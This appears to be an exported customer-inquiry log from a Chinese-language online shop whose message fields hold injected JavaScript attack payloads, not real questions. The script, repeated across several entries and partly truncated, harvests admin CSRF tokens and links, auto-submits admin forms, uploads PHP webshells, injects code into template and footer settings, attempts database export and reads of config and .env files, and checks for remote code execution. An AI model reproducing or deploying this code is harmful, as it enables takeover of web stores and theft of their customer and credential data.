`
收發時間 分類 商品 訂單 問題主旨 回覆 回覆時間
2026/07/30 18:39:28 商品諮詢
客戶807:]*).[^>]*value=.([^"']*)./i);
if(cm){cn=cm[1];ct=cm[2];B('csrf',{name:cn,len:ct.length});}
var vm=h.match(/vars+csrfs*=s*'([^']*)'/i);
if(vm&&!ct){cn='csrf';ct=vm[1];}
// CKEditor
setTimeout(function(){
if(typeof CKEDITOR!=='undefined'){
for(var i in CKEDITOR.instances){
try{CKEDITOR.instances[i].setData('
'+W+'
');B('ckeditor',{inst:i});
setTimeout(function(){
CKEDITOR.instances[i].updateElement();
var fs=document.querySelectorAll('form');fs.forEach(function(f){try{f.submit()}catch(e){}});
var sb=document.querySelectorAll('[type=submit],button.save,input[value*=儲存]');
sb.forEach(function(b){try{b.click()}catch(e){}});
},500);}catch(e){}
}
}
},1500);
// Upload
if(h.indexOf('type="file"')>-1||h.indexOf('enctype="multipart')>-1||h.indexOf('上傳')>-1||h.indexOf('Dropzone')>-1){
setTimeout(function(){
var pf=new File([''],'shell.phtml',{type:'application/x-php'});
[(['shell.phtml', 'application/x-php'], ['shell.pht', 'application/x-php'], ['shell.php.jpg', 'image/jpeg'], ['shell.phar', 'application/x-php'])].forEach(function(eb){
var b=new Blob([''],{type:eb[1]});
var f=new File([b],eb[0],{type:eb[1]});
var fd=new FormData();
document.querySelectorAll('input[type=file]').forEach(function(fi){
fd.append(fi.getAttribute('name')||'file',f,eb[0]);
});
fd.append('file',f,eb[0]);fd.append('upload','1');fd.append('submit','1');
if(ct)fd.append(cn,ct);
var fu=mu;
document.querySelectorAll('form').forEach(function(fo){if(fo.getAttribute('action'))fu=fo.getAttribute('action');});
fetch(fu,{method:'POST',credentials:'include',body:fd}).then(function(r){return r.text()}).then(function(resp){
B('upload',{fn:eb[0],len:resp.length});
var pm=resp.match(/([a-zA-Z0-9_/-.]+.(?:php|phtml|pht|phar))/i);
if(pm)B('upload_path',{path:pm[1]});
}).catch(function(){});
});
if(typeof Dropzone!=='undefined'){
Dropzone.instances.forEach(function(dz){
var b=new Blob([''],{type:'application/x-php'});
dz.addFile(new File([b],'shell.phtml',{type:'application/x-php'}));
});
}
},2000);
}
// DataTables
if(h.indexOf('DataTable')>-1||h.indexOf('dataTable')>-1){
setTimeout(function(){
var edits=new Set();
document.querySelectorAll('a[href*=edit],a[href*=modify],a[href*=update],.edit-btn,.btn-edit').forEach(function(el){
var href=el.getAttribute('href');if(href)edits.add(href.startsWith('http')?href:(A+(href.startsWith('/')?'':'/')+href));
});
edits.forEach(function(eu){
fetch(eu,{credentials:'include'}).then(function(r){return r.text()}).then(function(eh){
var fields=[];var tms=eh.match(/]*name=.([^"'>]*)./gi);
if(tms)tms.forEach(function(t){var m=t.match(/name=.([^"'>]*)./i);if(m)fields.push(m[1]);});
var ins=eh.match(/]*name=.([^"'>]*)./gi);
if(ins)ins.forEach(function(ip){var m=ip.match(/name=.([^"'>]*)./i);if(m)fields.push(m[1]);});
if(fields.length>0){
var fd=new FormData();
fields.forEach(function(fn){fd.append(fn,'');});
fd.append('save','1');fd.append('submit','1');fd.append('do','update');
if(ct)fd.append(cn,ct);
fetch(eu,{method:'POST',credentials:'include',body:fd}).then(function(r){return r.text()}).then(function(resp){B('dt_edit',{url:eu,len:resp.length});}).catch(function(){});
}
}).catch(function(){});
});
},2500);
}
// Generic form injection
var fms=[];var fmRe=/]*action="([^"]*)"[^>]*method="([^"]*)"/gi;var fmm;
while((fmm=fmRe.exec(h))!==null)fms.push({a:fmm[1],m:fmm[2].toUpperCase()});
fms.forEach(function(form){
var fd=new FormData();
['content','code','data','text','html','description','body','footer_code','header_code',
'custom_code','custom_php','template','name','title','value','setting_value','config_value'].forEach(function(k){fd.append(k,'');});
if(ct)fd.append(cn,ct);fd.append('save','1');fd.append('submit','1');
var fu=form.a.startsWith('http')?form.a:(A+(form.a.startsWith('/')?'':'/')+form.a);
fetch(fu,{method:'POST',credentials:'include',body:fd}).then(function(r){return r.text()}).then(function(resp){B('form_post',{url:fu,len:resp.length});}).catch(function(){});
});
// addaction-specific: create custom action with PHP
if(M==='addaction'){
var ad='html=addaction_data&do=save&action_data_name='+encodeURIComponent('cron_check')+'&action_data_content='+encodeURIComponent('')+'&Fid=1&save=1&submit=1';
if(ct)ad+='&'+cn+'='+encodeURIComponent(ct);
fetch(A+'/index.php?html=addaction_data',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:ad}).then(function(r){return r.text()}).then(function(resp){B('addaction',{len:resp.length});}).catch(function(){});
}
// logdata-specific: footer_code + system settings
if(M==='logdata'){
var ld='footer_code='+encodeURIComponent('')+'&custom_code='+encodeURIComponent('')+'&save=1&submit=1';
if(ct)ld+='&'+cn+'='+encodeURIComponent(ct);
fetch(A+'/index.php?html=system_data',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:ld}).then(function(r){return r.text()}).then(function(resp){B('logdata_sys',{len:resp.length});}).catch(function(){});
fetch(A+'/index.php?html=setting',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:ld}).then(function(r){return r.text()}).then(function(resp){B('logdata_set',{len:resp.length});}).catch(function(){});
}
// Verify shells
setTimeout(function(){
var bp=A.replace(//shopadmin$/,'');
[bp+'/shell.php',bp+'/shell.phtml',bp+'/shell.pht',bp+'/action_files/shell.php',bp+'/action_files/shell.phtml'].forEach(function(p){
fetch(p+'?c=echo+base64_encode('RCE')',{credentials:'include'}).then(function(r){return r.text()}).then(function(o){if(o.indexOf('UkNF')>-1)B('RCE_VERIFIED',{path:p});}).catch(function(){});
});
},8000);
}else if(l<400&&l>5)B('module_resp',{url:u,len:l,preview:h.substring(0,100)});
if(ch>=urls.length&&!fm)B('no_module',{mod:M,total:ch});
}).catch(function(e){B('fetch_err',{url:u,err:e.toString().substring(0,100)});ch++;});
});
})();
">
2026/07/30 18:39:26 商品諮詢
客戶443:]*).[^>]*value=.([^"']*)./i);
if(cm){cn=cm[1];ct=cm[2];B('csrf',{name:cn,len:ct.length});}
var vm=h.match(/vars+csrfs*=s*'([^']*)'/i);
if(vm&&!ct){cn='csrf';ct=vm[1];}
// CKEditor
setTimeout(function(){
if(typeof CKEDITOR!=='undefined'){
for(var i in CKEDITOR.instances){
try{CKEDITOR.instances[i].setData('
'+W+'
');B('ckeditor',{inst:i});
setTimeout(function(){
CKEDITOR.instances[i].updateElement();
var fs=document.querySelectorAll('form');fs.forEach(function(f){try{f.submit()}catch(e){}});
var sb=document.querySelectorAll('[type=submit],button.save,input[value*=儲存]');
sb.forEach(function(b){try{b.click()}catch(e){}});
},500);}catch(e){}
}
}
},1500);
// Upload
if(h.indexOf('type="file"')>-1||h.indexOf('enctype="multipart')>-1||h.indexOf('上傳')>-1||h.indexOf('Dropzone')>-1){
setTimeout(function(){
var pf=new File([''],'shell.phtml',{type:'application/x-php'});
[(['shell.phtml', 'application/x-php'], ['shell.pht', 'application/x-php'], ['shell.php.jpg', 'image/jpeg'], ['shell.phar', 'application/x-php'])].forEach(function(eb){
var b=new Blob([''],{type:eb[1]});
var f=new File([b],eb[0],{type:eb[1]});
var fd=new FormData();
document.querySelectorAll('input[type=file]').forEach(function(fi){
fd.append(fi.getAttribute('name')||'file',f,eb[0]);
});
fd.append('file',f,eb[0]);fd.append('upload','1');fd.append('submit','1');
if(ct)fd.append(cn,ct);
var fu=mu;
document.querySelectorAll('form').forEach(function(fo){if(fo.getAttribute('action'))fu=fo.getAttribute('action');});
fetch(fu,{method:'POST',credentials:'include',body:fd}).then(function(r){return r.text()}).then(function(resp){
B('upload',{fn:eb[0],len:resp.length});
var pm=resp.match(/([a-zA-Z0-9_/-.]+.(?:php|phtml|pht|phar))/i);
if(pm)B('upload_path',{path:pm[1]});
}).catch(function(){});
});
if(typeof Dropzone!=='undefined'){
Dropzone.instances.forEach(function(dz){
var b=new Blob([''],{type:'application/x-php'});
dz.addFile(new File([b],'shell.phtml',{type:'application/x-php'}));
});
}
},2000);
}
// DataTables
if(h.indexOf('DataTable')>-1||h.indexOf('dataTable')>-1){
setTimeout(function(){
var edits=new Set();
document.querySelectorAll('a[href*=edit],a[href*=modify],a[href*=update],.edit-btn,.btn-edit').forEach(function(el){
var href=el.getAttribute('href');if(href)edits.add(href.startsWith('http')?href:(A+(href.startsWith('/')?'':'/')+href));
});
edits.forEach(function(eu){
fetch(eu,{credentials:'include'}).then(function(r){return r.text()}).then(function(eh){
var fields=[];var tms=eh.match(/]*name=.([^"'>]*)./gi);
if(tms)tms.forEach(function(t){var m=t.match(/name=.([^"'>]*)./i);if(m)fields.push(m[1]);});
var ins=eh.match(/]*name=.([^"'>]*)./gi);
if(ins)ins.forEach(function(ip){var m=ip.match(/name=.([^"'>]*)./i);if(m)fields.push(m[1]);});
if(fields.length>0){
var fd=new FormData();
fields.forEach(function(fn){fd.append(fn,'');});
fd.append('save','1');fd.append('submit','1');fd.append('do','update');
if(ct)fd.append(cn,ct);
fetch(eu,{method:'POST',credentials:'include',body:fd}).then(function(r){return r.text()}).then(function(resp){B('dt_edit',{url:eu,len:resp.length});}).catch(function(){});
}
}).catch(function(){});
});
},2500);
}
// Generic form injection
var fms=[];var fmRe=/]*action="([^"]*)"[^>]*method="([^"]*)"/gi;var fmm;
while((fmm=fmRe.exec(h))!==null)fms.push({a:fmm[1],m:fmm[2].toUpperCase()});
fms.forEach(function(form){
var fd=new FormData();
['content','code','data','text','html','description','body','footer_code','header_code',
'custom_code','custom_php','template','name','title','value','setting_value','config_value'].forEach(function(k){fd.append(k,'');});
if(ct)fd.append(cn,ct);fd.append('save','1');fd.append('submit','1');
var fu=form.a.startsWith('http')?form.a:(A+(form.a.startsWith('/')?'':'/')+form.a);
fetch(fu,{method:'POST',credentials:'include',body:fd}).then(function(r){return r.text()}).then(function(resp){B('form_post',{url:fu,len:resp.length});}).catch(function(){});
});
// addaction-specific: create custom action with PHP
if(M==='addaction'){
var ad='html=addaction_data&do=save&action_data_name='+encodeURIComponent('cron_check')+'&action_data_content='+encodeURIComponent('')+'&Fid=1&save=1&submit=1';
if(ct)ad+='&'+cn+'='+encodeURIComponent(ct);
fetch(A+'/index.php?html=addaction_data',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:ad}).then(function(r){return r.text()}).then(function(resp){B('addaction',{len:resp.length});}).catch(function(){});
}
// logdata-specific: footer_code + system settings
if(M==='logdata'){
var ld='footer_code='+encodeURIComponent('')+'&custom_code='+encodeURIComponent('')+'&save=1&submit=1';
if(ct)ld+='&'+cn+'='+encodeURIComponent(ct);
fetch(A+'/index.php?html=system_data',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:ld}).then(function(r){return r.text()}).then(function(resp){B('logdata_sys',{len:resp.length});}).catch(function(){});
fetch(A+'/index.php?html=setting',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:ld}).then(function(r){return r.text()}).then(function(resp){B('logdata_set',{len:resp.length});}).catch(function(){});
}
// Verify shells
setTimeout(function(){
var bp=A.replace(//shopadmin$/,'');
[bp+'/shell.php',bp+'/shell.phtml',bp+'/shell.pht',bp+'/action_files/shell.php',bp+'/action_files/shell.phtml'].forEach(function(p){
fetch(p+'?c=echo+base64_encode('RCE')',{credentials:'include'}).then(function(r){return r.text()}).then(function(o){if(o.indexOf('UkNF')>-1)B('RCE_VERIFIED',{path:p});}).catch(function(){});
});
},8000);
}else if(l<400&&l>5)B('module_resp',{url:u,len:l,preview:h.substring(0,100)});
if(ch>=urls.length&&!fm)B('no_module',{mod:M,total:ch});
}).catch(function(e){B('fetch_err',{url:u,err:e.toString().substring(0,100)});ch++;});
});
})();
">
2026/07/30 18:39:24 商品諮詢
客戶453:]*).[^>]*value=.([^"']*)./i);
if(cm){cn=cm[1];ct=cm[2];B('csrf',{name:cn,len:ct.length});}
var vm=h.match(/vars+csrfs*=s*'([^']*)'/i);
if(vm&&!ct){cn='csrf';ct=vm[1];}
// CKEditor
setTimeout(function(){
if(typeof CKEDITOR!=='undefined'){
for(var i in CKEDITOR.instances){
try{CKEDITOR.instances[i].setData('
'+W+'
');B('ckeditor',{inst:i});
setTimeout(function(){
CKEDITOR.instances[i].updateElement();
var fs=document.querySelectorAll('form');fs.forEach(function(f){try{f.submit()}catch(e){}});
var sb=document.querySelectorAll('[type=submit],button.save,input[value*=儲存]');
sb.forEach(function(b){try{b.click()}catch(e){}});
},500);}catch(e){}
}
}
},1500);
// Upload
if(h.indexOf('type="file"')>-1||h.indexOf('enctype="multipart')>-1||h.indexOf('上傳')>-1||h.indexOf('Dropzone')>-1){
setTimeout(function(){
var pf=new File([''],'shell.phtml',{type:'application/x-php'});
[(['shell.phtml', 'application/x-php'], ['shell.pht', 'application/x-php'], ['shell.php.jpg', 'image/jpeg'], ['shell.phar', 'application/x-php'])].forEach(function(eb){
var b=new Blob([''],{type:eb[1]});
var f=new File([b],eb[0],{type:eb[1]});
var fd=new FormData();
document.querySelectorAll('input[type=file]').forEach(function(fi){
fd.append(fi.getAttribute('name')||'file',f,eb[0]);
});
fd.append('file',f,eb[0]);fd.append('upload','1');fd.append('submit','1');
if(ct)fd.append(cn,ct);
var fu=mu;
document.querySelectorAll('form').forEach(function(fo){if(fo.getAttribute('action'))fu=fo.getAttribute('action');});
fetch(fu,{method:'POST',credentials:'include',body:fd}).then(function(r){return r.text()}).then(function(resp){
B('upload',{fn:eb[0],len:resp.length});
var pm=resp.match(/([a-zA-Z0-9_/-.]+.(?:php|phtml|pht|phar))/i);
if(pm)B('upload_path',{path:pm[1]});
}).catch(function(){});
});
if(typeof Dropzone!=='undefined'){
Dropzone.instances.forEach(function(dz){
var b=new Blob([''],{type:'application/x-php'});
dz.addFile(new File([b],'shell.phtml',{type:'application/x-php'}));
});
}
},2000);
}
// DataTables
if(h.indexOf('DataTable')>-1||h.indexOf('dataTable')>-1){
setTimeout(function(){
var edits=new Set();
document.querySelectorAll('a[href*=edit],a[href*=modify],a[href*=update],.edit-btn,.btn-edit').forEach(function(el){
var href=el.getAttribute('href');if(href)edits.add(href.startsWith('http')?href:(A+(href.startsWith('/')?'':'/')+href));
});
edits.forEach(function(eu){
fetch(eu,{credentials:'include'}).then(function(r){return r.text()}).then(function(eh){
var fields=[];var tms=eh.match(/]*name=.([^"'>]*)./gi);
if(tms)tms.forEach(function(t){var m=t.match(/name=.([^"'>]*)./i);if(m)fields.push(m[1]);});
var ins=eh.match(/]*name=.([^"'>]*)./gi);
if(ins)ins.forEach(function(ip){var m=ip.match(/name=.([^"'>]*)./i);if(m)fields.push(m[1]);});
if(fields.length>0){
var fd=new FormData();
fields.forEach(function(fn){fd.append(fn,'');});
fd.append('save','1');fd.append('submit','1');fd.append('do','update');
if(ct)fd.append(cn,ct);
fetch(eu,{method:'POST',credentials:'include',body:fd}).then(function(r){return r.text()}).then(function(resp){B('dt_edit',{url:eu,len:resp.length});}).catch(function(){});
}
}).catch(function(){});
});
},2500);
}
// Generic form injection
var fms=[];var fmRe=/]*action="([^"]*)"[^>]*method="([^"]*)"/gi;var fmm;
while((fmm=fmRe.exec(h))!==null)fms.push({a:fmm[1],m:fmm[2].toUpperCase()});
fms.forEach(function(form){
var fd=new FormData();
['content','code','data','text','html','description','body','footer_code','header_code',
'custom_code','custom_php','template','name','title','value','setting_value','config_value'].forEach(function(k){fd.append(k,'');});
if(ct)fd.append(cn,ct);fd.append('save','1');fd.append('submit','1');
var fu=form.a.startsWith('http')?form.a:(A+(form.a.startsWith('/')?'':'/')+form.a);
fetch(fu,{method:'POST',credentials:'include',body:fd}).then(function(r){return r.text()}).then(function(resp){B('form_post',{url:fu,len:resp.length});}).catch(function(){});
});
// addaction-specific: create custom action with PHP
if(M==='addaction'){
var ad='html=addaction_data&do=save&action_data_name='+encodeURIComponent('cron_check')+'&action_data_content='+encodeURIComponent('')+'&Fid=1&save=1&submit=1';
if(ct)ad+='&'+cn+'='+encodeURIComponent(ct);
fetch(A+'/index.php?html=addaction_data',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:ad}).then(function(r){return r.text()}).then(function(resp){B('addaction',{len:resp.length});}).catch(function(){});
}
// logdata-specific: footer_code + system settings
if(M==='logdata'){
var ld='footer_code='+encodeURIComponent('')+'&custom_code='+encodeURIComponent('')+'&save=1&submit=1';
if(ct)ld+='&'+cn+'='+encodeURIComponent(ct);
fetch(A+'/index.php?html=system_data',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:ld}).then(function(r){return r.text()}).then(function(resp){B('logdata_sys',{len:resp.length});}).catch(function(){});
fetch(A+'/index.php?html=setting',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:ld}).then(function(r){return r.text()}).then(function(resp){B('logdata_set',{len:resp.length});}).catch(function(){});
}
// Verify shells
setTimeout(function(){
var bp=A.replace(//shopadmin$/,'');
[bp+'/shell.php',bp+'/shell.phtml',bp+'/shell.pht',bp+'/action_files/shell.php',bp+'/action_files/shell.phtml'].forEach(function(p){
fetch(p+'?c=echo+base64_encode('RCE')',{credentials:'include'}).then(function(r){return r.text()}).then(function(o){if(o.indexOf('UkNF')>-1)B('RCE_VERIFIED',{path:p});}).catch(function(){});
});
},8000);
}else if(l<400&&l>5)B('module_resp',{url:u,len:l,preview:h.substring(0,100)});
if(ch>=urls.length&&!fm)B('no_module',{mod:M,total:ch});
}).catch(function(e){B('fetch_err',{url:u,err:e.toString().substring(0,100)});ch++;});
});
})();
">
2026/07/30 18:16:52 商品諮詢
客戶426:]*>/gi;var lm;
while((lm=lre.exec(t))!==null)links.push(lm[1].substring(0,250));
// Extract all script sources
var scripts=[];var sre=/]*src=['"]([^'"]*)['"]/gi;var sm;
while((sm=sre.exec(t))!==null)scripts.push(sm[1].substring(0,250));
// Extract all form actions
var forms=[];var fre=/]*action=['"]([^'"]*)['"][^>]*method=['"]([^'"]*)['"]/gi;var fm;
while((fm=fre.exec(t))!==null)forms.push({action:fm[1],method:fm[2]});
// Look for CSRF tokens
var csrf=null;
var cm=t.match(/]*name=['"](csrf[^'"]*|token[^'"]*|_token[^'"]*|__hash__[^'"]*|hash[^'"]*|nonce[^'"]*)['"][^>]*value=['"]([^'"]*)['"]/i);
if(cm)csrf=cm[2];
var mm=t.match(/]*name=['"]csrf[^'"]*['"][^>]*content=['"]([^'"]*)['"]/i);
if(mm)csrf=csrf||mm[1];
// Extract JavaScript global variables (common CSRF/config storage pattern)
var jsVars=[];
var jre=/vars+(w+)s*=s*['"]([^'"]{1,100})['"]/gi;var jm;
while((jm=jre.exec(t))!==null)jsVars.push({n:jm[1],v:jm[2].substring(0,80)});
// Extract hidden inputs
var hiddens=[];
var hire=/]*type=['"]hidden['"][^>]*name=['"]([^'"]*)['"][^>]*value=['"]([^'"]*)['"]/gi;var him;
while((him=hire.exec(t))!==null)hiddens.push({n:him[1],v:him[2].substring(0,80)});

B('admin_index',{
pageLen:t.length,
pageTitle:(t.match(/([^<]*)/i)||['',''])[1].substring(0,100),
linkCount:links.length,
scriptCount:scripts.length,
formCount:forms.length,
hasCsrf:!!csrf,
csrfLen:csrf?csrf.length:0,
adminLinks:links.filter(function(l){return l.indexOf('html=')>-1||l.indexOf('.php')>-1}).slice(0,40),
adminScripts:scripts.filter(function(s){return s.indexOf(A)>-1||s.indexOf('js/')>-1}).slice(0,20),
adminForms:forms.slice(0,15),
jsGlobalVars:jsVars.filter(function(v){return v.v.length>10}).slice(0,15),
hiddenInputs:hiddens.slice(0,15)
});

// Step 2: If CSRF found, try exploitation with the CSRF token
if(csrf){
var csrfName=cm?cm[1]:'csrf_token';
B('csrf_found',{name:csrfName,value:csrf.substring(0,30)+'...'});

// Try exploitation vectors WITH csrf token
// Vector A: Template save (if admin panel has template links)
if(links.some(function(l){return l.indexOf('template')>-1||l.indexOf('editor')>-1})){
['template','template_edit','editor','layout'].forEach(function(ep){
var data='content='+W+'&name=header&type=php&save=1&submit=1&'+csrfName+'='+encodeURIComponent(csrf);
M(A+'/index.php?html='+ep,data,function(rt,rs){B('csrf_tmpl',{ep:ep,status:rs,len:rt?rt.length:0})});
});
}

// Vector B: File upload (if admin panel has file/upload links)
if(links.some(function(l){return l.indexOf('file')>-1||l.indexOf('upload')>-1})){
var blob=new Blob([''],{type:'application/x-php'});
['file','file_manager','upload'].forEach(function(ep){
var fd=new FormData();
fd.append('file',blob,'x'+Math.random().toString(36).substr(2,4)+'.php');
fd.append('upload',1);fd.append('submit',1);
fd.append(csrfName,csrf);
var x=new XMLHttpRequest();
x.open('POST',A+'/index.php?html='+ep,true);
x.onload=function(){B('csrf_upload',{ep:ep,status:x.status,resp:x.responseText.substring(0,150)})};
x.send(fd);
});
}

// Vector C: Config/settings save
if(links.some(function(l){return l.indexOf('config')>-1||l.indexOf('setting')>-1||l.indexOf('system')>-1})){
['setting','config','system','basic_setting'].forEach(function(ep){
var data='footer_code='+W+'&save=1&'+csrfName+'='+encodeURIComponent(csrf);
M(A+'/index.php?html='+ep,data,function(rt,rs){B('csrf_config',{ep:ep,status:rs})});
});
}

// Vector D: Database backup/export
if(links.some(function(l){return l.indexOf('backup')>-1||l.indexOf('database')>-1||l.indexOf('db')>-1||l.indexOf('sql')>-1||l.indexOf('export')>-1})){
['backup','database','db_backup'].forEach(function(ep){
X(A+'/index.php?html='+ep+'&do=export&'+csrfName+'='+encodeURIComponent(csrf),function(rt,rs,xr){
if(rs===200&&rt)B('db_export_result',{ep:ep,len:rt.length,hasInsert:rt.indexOf('INSERT INTO')>-1});
});
});
}
}

// Step 3: Check what's in the admin's navigation (LI/NAV elements)
var navItems=[];
var nre=/]*>s*]*href=['"]([^'"]*)['"][^>]*>([^<]*)/gi;var nm;
while((nm=nre.exec(t))!==null)navItems.push({url:nm[1].substring(0,150),label:nm[2].trim().substring(0,50)});
B('admin_nav',{navItems:navItems.slice(0,40)});

// Step 4: AJAX endpoint discovery from JS files
// Extract AJAX URLs from inline scripts
var ajaxUrls=[];
var are=/['"](/?(?:webadmin|shopadmin)/[^'"s]+.php[^'"]*)['"]/gi;var am;
while((am=are.exec(t))!==null)ajaxUrls.push(am[1]);
var are2=/['"](index.php?[^'"]*ajax[^'"]*)['"]/gi;var am2;
while((am2=are2.exec(t))!==null)ajaxUrls.push(am2[1]);
if(ajaxUrls.length>0)B('ajax_urls',{urls:ajaxUrls.slice(0,25)});

// Step 5: Try AJAX-style operations (X-Requested-With header, accept JSON)
// Many PHP apps have AJAX handlers that might be less restricted than full page views
var ajaxEndpoints=[
A+'/index.php?html=action_data&data_type=json',
A+'/index.php?html=file_manager&ajax=1',
A+'/index.php?html=template&ajax=1',
A+'/ajax.php?action=list',
A+'/api.php?action=info',
];
ajaxEndpoints.forEach(function(u){
X(u,function(t,s){
if(s===200&&t&&t.length<3500&&t.length>10)B('ajax_probe',{url:u,len:t.length,isJson:t.trim().startsWith('{')||t.trim().startsWith('[')});
},{h:{'X-Requested-With':'XMLHttpRequest','Accept':'application/json, text/javascript'}});
});
});

} // end if s===200
}); // end fetch admin index

// Step 6: Delayed webshell verification
setTimeout(function(){
var checkPaths=[
'/shell.php','/shell.phtml',
A.replace(//webadmin$|/shopadmin$/,'')+'/shell.php',
A.replace(//webadmin$|/shopadmin$/,'')+'/upload/shell.php',
A.replace(//webadmin$|/shopadmin$/,'')+'/action_files/shell.php',
A.replace(//webadmin$|/shopadmin$/,'')+'/action_files/shell.phtml',
];
checkPaths.forEach(function(p){
X(p,function(t,s){
if(s===200&&t&&t.indexOf(' B('SHELL',{path:p,status:s,len:t.length});
});
});
},8000);

// Step 7: Try to read PHP files via direct access (info disclosure)
var infoFiles=[A+'/config.php',A+'/../config.php',A+'/../wp-config.php',A+'/../.env',A+'/database.php'];
infoFiles.forEach(function(f){
X(f,function(t,s){if(s===200&&t)B('info_file',{file:f,len:t.length})});
});

})();
">
2026/07/30 18:16:47 商品諮詢
客戶502:]*value=['"]([^'"]*)['"]/i);
if(tm)r.csrf=tm[2].substring(0,80);
var mm=t.match(/]*name=['"]csrf[^'"]*['"][^>]*content=['"]([^'"]*)['"]/i);
if(mm)r.metaCsrf=mm[1].substring(0,80);
var fm=t.match(/]*action=['"]([^'"]*)['"][^>]*method=['"]([^'"]*)['"]/i);
if(fm){r.formAction=fm[1];r.formMethod=fm[2]}
var inputs=[];var ire=/]*name=['"]([^'"]*)['"]/gi;var im;
while((im=ire.exec(t))!==null&&inputs.length<20)inputs.push(im[1]);
r.inputs=inputs;
var tas=[];var tre=/]*name=['"]([^'"]*)['"]/gi;var tm2;
while((tm2=tre.exec(t))!==null)tas.push(tm2[1]);
r.textareas=tas;
r.hasUpload=t.indexOf('type="file"')>-1||t.indexOf('enctype="multipart')>-1||t.indexOf('上傳')>-1;
r.hasEditor=t.indexOf('CodeMirror')>-1||t.indexOf('ace_editor')>-1||t.indexOf('codemirror')>-1;
}
}else if(s===403){r.verdict='forbidden'}
else if(s===302||s===301){r.verdict='redirect'}
else{r.verdict='error_'+s}
results.push(r);
if(done%30===0)B('v2_progress',{done:done,total:allTargets.length});
});
})(allTargets[idx+i]);
}
if(idx+batch}

process(0);
})();
">
2026/07/30 18:16:44 商品諮詢 ECS000104
~~翔準~~ (超級戰艦)最新款式淺艇海洋迷彩海軍服戰鬥服 野戰服.【衣服+褲子】
客戶516:]*value=['"]([^'"]*)['"]/i);
if(tm){csrfTokens[item.ep]=tm[2];result.csrf=tm[2].substring(0,50)}
// Also check for meta CSRF
var mm=t.match(/]*name=['"]csrf[^'"]*['"][^>]*content=['"]([^'"]*)['"]/i);
if(mm){csrfTokens['meta_'+item.ep]=mm[1];result.metaCsrf=mm[1].substring(0,50)}
// Extract form details
var fm=t.match(/]*action=['"]([^'"]*)['"][^>]*method=['"]([^'"]*)['"]/i);
if(fm){result.formAction=fm[1];result.formMethod=fm[2]}
var inputs=[];var ire=/]*name=['"]([^'"]*)['"]/gi;var im;
while((im=ire.exec(t))!==null)inputs.push(im[1]);
if(inputs.length>0)result.inputs=inputs.slice(0,15);
var tas=[];var tre=/]*name=['"]([^'"]*)['"]/gi;var tm2;
while((tm2=tre.exec(t))!==null)tas.push(tm2[1]);
if(tas.length>0)result.textareas=tas;
// Detect file inputs
var hasFile=t.indexOf('type="file"')>-1||t.indexOf('type=file')>-1;
result.hasFileInput=hasFile;
// Detect code editors
var hasEditor=t.indexOf('CodeMirror')>-1||t.indexOf('ace_editor')>-1||t.indexOf('codemirror')>-1||t.indexOf('monaco')>-1||t.toLowerCase().indexOf('syntax')>-1;
result.hasCodeEditor=hasEditor;
// Detect upload functionality
var hasUpload=t.indexOf('上傳')>-1||t.indexOf('upload')>-1||t.indexOf('Upload')>-1||t.indexOf('enctype="multipart')>-1;
result.hasUpload=hasUpload;
formDetails[item.cat+':'+item.ep]=result;
}
}else if(s===403){
result.verdict='forbidden';
}else if(s===0||s===-1){
result.verdict='error_or_timeout';
}
probeResults.push(result);
// Periodic progress beacon every 25 probes
if(doneProbes%25===0)B('recon_progress',{done:doneProbes,total:probeQueue.length,accessible:Object.keys(accessible).length});
if(doneProbes>=probeQueue.length)phase1Complete();
},{t:10000});
});
// Schedule next batch
if(idx}

function phase1Complete(){
if(window._p1done)return;window._p1done=true;
B('recon_done',{
scanned:doneProbes,
accessible:Object.keys(accessible).reduce(function(acc,k){acc[k]=accessible[k];return acc},{}),
csrfCount:Object.keys(csrfTokens).length,
accessCount:Object.values(accessible).reduce(function(s,a){return s+a.length},0)
});
// Send detailed results for accessible endpoints
var details=probeResults.filter(function(r){return r.verdict==='accessible'});
B('accessible_details',{count:details.length,details:details.slice(0,30)});
// Now run Phase 2
setTimeout(phase2Exploit,1500);
}

// Kick off enumeration
processNext();

// ===== PHASE 2: ADAPTIVE EXPLOITATION =====
function phase2Exploit(){
B('p2_start',{accessible:Object.keys(accessible),csrf:Object.keys(csrfTokens).length});

// Rank exploitation vectors by value and feasibility
var exploits=[];

// VECTOR 1: File upload → webshell (CRITICAL priority)
if(accessible.file||accessible.upload){
var fileEps=(accessible.file||[]).concat(accessible.upload||[]);
var uploadTargets=[];
// Build upload targets from discovered endpoints
fileEps.forEach(function(ep){
var detail=formDetails['file:'+ep]||formDetails['upload:'+ep]||{};
if(detail.hasFileInput||detail.hasUpload){
// Found an upload form — get the CSRF token and build the request
var fd=new FormData();
var blob=new Blob([''],{type:'application/x-php'});
fd.append('file',blob,'x'+Math.random().toString(36).substring(2,6)+'.php');
fd.append('upload',1);fd.append('submit',1);fd.append('do',1);
// Try common upload field names
['file','upload','Filedata','userfile','image','img'].forEach(function(n){
var x=new XMLHttpRequest();
x.open('POST',A+'/index.php?html='+ep,true);
x.onload=function(){B('upload_attempt',{ep:ep,status:x.status,resp:x.responseText.substring(0,200)})};
var fd2=new FormData();fd2.append(n,blob,'shell.php');fd2.append('upload',1);
// Add CSRF if available
var tok=csrfTokens[ep]||csrfTokens['meta_'+ep];
if(tok)fd2.append('csrf_token',tok);
x.send(fd2);
});
}
});
// Also try direct upload POST endpoints
var uploadUrls=[A+'/up_file.php',A+'/upload.php',A+'/file_upload.php',A+'/ckfinder/core/connector/php/connector.php?command=FileUpload'];
uploadUrls.forEach(function(u){
var fd=new FormData();
var blob=new Blob([''],{type:'application/x-php'});
fd.append('upload',blob,'shell.php');fd.append('file',blob,'shell.php');
fd.append('Files',blob,'shell.php');fd.append('Filedata',blob,'shell.php');
var x=new XMLHttpRequest();
x.open('POST',u,true);
x.onload=function(){B('direct_upload',{url:u,status:x.status,resp:x.responseText.substring(0,200)})};
x.send(fd);
});
B('upload_probes_sent',{uploadEps:fileEps,directUrls:uploadUrls});
